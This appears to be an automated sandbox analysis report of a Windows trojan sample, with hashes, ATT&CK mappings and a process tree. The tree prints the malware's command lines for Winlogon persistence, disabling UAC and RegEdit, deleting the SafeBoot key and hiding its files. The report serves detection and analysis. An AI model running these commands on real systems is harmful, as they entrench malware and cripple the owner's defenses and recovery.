c2f76ee6aa8f218e960926beb62fd69139eba55eee459f0651a98cc9ac806add

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20/09/2024, 08:33

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General

Target

ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe
Size

218KB
MD5

ed367dab295de456f86d3bb87c471bb3
SHA1

47f28e25106ce0a8b2f55f767b2e90f927183319
SHA256

c2f76ee6aa8f218e960926beb62fd69139eba55eee459f0651a98cc9ac806add
SHA512

e24acf6fdddde4dc7aa8b9197fb7431045fd5320a90701c4c392cf77458827ce97f10bc5994679bfd37d9ec20f7092e6bc8b4872f39f92b064b7866f1df3f903
SSDEEP

6144:nc+yiZtsqepeFe5bc2pIHhY18Nih7uawcs:n9y2tsqmmYbclHq1e+yawc

Score

10^/10

defense_evasion discovery evasion persistence trojan upx

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\inf\\svhost.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "C:\\Program Files\\Common Files\\inf\\svhost.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2080-0-0x0000000000400000-0x0000000000D57000-memory.dmp	upx

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2580	cmd.exe
944	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\inf	attrib.exe
File opened for modification	C:\Program Files\Common Files\inf\svhost.exe	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1612	reg.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2684	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 3064	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	30
PID 2080 wrote to memory of 3064	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	30
PID 2080 wrote to memory of 3064	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	30
PID 2080 wrote to memory of 3064	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	30
PID 2080 wrote to memory of 1056	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	32
PID 2080 wrote to memory of 1056	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	32
PID 2080 wrote to memory of 1056	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	32
PID 2080 wrote to memory of 1056	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	32
PID 2080 wrote to memory of 2220	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	34
PID 2080 wrote to memory of 2220	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	34
PID 2080 wrote to memory of 2220	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	34
PID 2080 wrote to memory of 2220	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	34
PID 3064 wrote to memory of 2708	3064	cmd.exe	35
PID 3064 wrote to memory of 2708	3064	cmd.exe	35
PID 3064 wrote to memory of 2708	3064	cmd.exe	35
PID 3064 wrote to memory of 2708	3064	cmd.exe	35
PID 2080 wrote to memory of 2776	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	37
PID 2080 wrote to memory of 2776	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	37
PID 2080 wrote to memory of 2776	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	37
PID 2080 wrote to memory of 2776	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	37
PID 2080 wrote to memory of 2832	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	39
PID 2080 wrote to memory of 2832	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	39
PID 2080 wrote to memory of 2832	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	39
PID 2080 wrote to memory of 2832	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	39
PID 2708 wrote to memory of 2684	2708	cmd.exe	40
PID 2708 wrote to memory of 2684	2708	cmd.exe	40
PID 2708 wrote to memory of 2684	2708	cmd.exe	40
PID 2708 wrote to memory of 2684	2708	cmd.exe	40
PID 2080 wrote to memory of 2564	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	42
PID 2080 wrote to memory of 2564	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	42
PID 2080 wrote to memory of 2564	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	42
PID 2080 wrote to memory of 2564	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	42
PID 2080 wrote to memory of 944	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	43
PID 2080 wrote to memory of 944	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	43
PID 2080 wrote to memory of 944	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	43
PID 2080 wrote to memory of 944	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	43
PID 1056 wrote to memory of 2740	1056	cmd.exe	44
PID 1056 wrote to memory of 2740	1056	cmd.exe	44
PID 1056 wrote to memory of 2740	1056	cmd.exe	44
PID 1056 wrote to memory of 2740	1056	cmd.exe	44
PID 2776 wrote to memory of 1612	2776	cmd.exe	46
PID 2776 wrote to memory of 1612	2776	cmd.exe	46
PID 2776 wrote to memory of 1612	2776	cmd.exe	46
PID 2776 wrote to memory of 1612	2776	cmd.exe	46
PID 2220 wrote to memory of 2584	2220	cmd.exe	48
PID 2220 wrote to memory of 2584	2220	cmd.exe	48
PID 2220 wrote to memory of 2584	2220	cmd.exe	48
PID 2220 wrote to memory of 2584	2220	cmd.exe	48
PID 2080 wrote to memory of 2580	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	49
PID 2080 wrote to memory of 2580	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	49
PID 2080 wrote to memory of 2580	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	49
PID 2080 wrote to memory of 2580	2080	ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe	49
PID 2832 wrote to memory of 2008	2832	cmd.exe	51
PID 2832 wrote to memory of 2008	2832	cmd.exe	51
PID 2832 wrote to memory of 2008	2832	cmd.exe	51
PID 2832 wrote to memory of 2008	2832	cmd.exe	51
PID 944 wrote to memory of 2552	944	cmd.exe	53
PID 944 wrote to memory of 2552	944	cmd.exe	53
PID 944 wrote to memory of 2552	944	cmd.exe	53
PID 944 wrote to memory of 2552	944	cmd.exe	53
PID 2564 wrote to memory of 2672	2564	cmd.exe	52
PID 2564 wrote to memory of 2672	2564	cmd.exe	52
PID 2564 wrote to memory of 2672	2564	cmd.exe	52
PID 2564 wrote to memory of 2672	2564	cmd.exe	52

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2572	attrib.exe
2552	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe" "C:\Program Files\Common Files\inf\svhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe" "C:\Program Files\Common Files\inf\svhost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c move /y "C:\USERS\ADMIN\APPDATA\LOCAL\TEMP\ed367dab295de456f86d3bb87c471bb3_JaffaCakes118.exe" "C:\Program Files\Common Files\inf\svhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: RenamesItself
      PID:2684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\inf\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon" /v shell /t reg_sz /d "C:\Program Files\Common Files\inf\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\inf\svhost.exe" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\SysWOW64\reg.exe
    reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogon " /v shell /t reg_sz /d "C:\Program Files\Common Files\inf\svhost.exe" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
    3⤵
    - Disables RegEdit via registry modification
    - System Location Discovery: System Language Discovery
    PID:2008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\inf\svhost.exe"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\inf\svhost.exe"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h "C:\Program Files\Common Files\inf"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:2580
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h "C:\Program Files\Common Files\inf"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2080-3-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2080-1-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download
memory/2080-0-0x0000000000400000-0x0000000000D57000-memory.dmp

Filesize
9.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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